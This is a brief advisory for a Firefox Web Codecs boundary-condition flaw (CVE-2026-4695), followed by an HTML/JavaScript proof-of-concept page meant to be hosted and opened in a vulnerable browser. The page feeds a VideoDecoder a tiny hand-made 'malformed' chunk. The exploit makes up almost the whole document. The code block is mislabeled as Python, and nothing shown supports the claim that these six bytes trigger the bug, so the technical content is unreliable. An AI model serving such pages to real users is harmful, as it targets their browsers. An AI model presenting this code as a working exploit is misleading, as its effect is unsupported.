Incorrect boundary conditions in the Audio/Video: Web Codecs component. This vulnerability was fixed in Firefox 149, Firefox ESR 140.9, Thunderbird 149, and Thunderbird 140.9.
The following code is for security research and authorized testing only.
python
<!-- HTML PoC for CVE-2026-4695 -->
<!-- Usage: Host this file and open in a vulnerable Firefox version -->
<!DOCTYPE html>
<html>
<body>
<script>
// PoC to trigger boundary condition in Web Codecs
// This attempts to decode a malformed chunk
async function trigger() {
const decoder = new VideoDecoder({
output: frame => console.log(frame),
error: e => console.error('Decoder Error:', e)
});
const config = {
codec: 'avc1.640028',
codedWidth: 800,
codedHeight: 600
};
if (await VideoDecoder.isConfigSupported(config)) {
decoder.configure(config);
// Malformed data to trigger boundary check bug
// Corrupted NAL unit header
let data = new Uint8Array([0x00, 0x00, 0x00, 0x01, 0x09, 0xF0]);
let chunk = new EncodedVideoChunk({
type: 'key',
timestamp: 0,
data: data
});
decoder.decode(chunk);
}
}
trigger();
</script>
</body>
</html>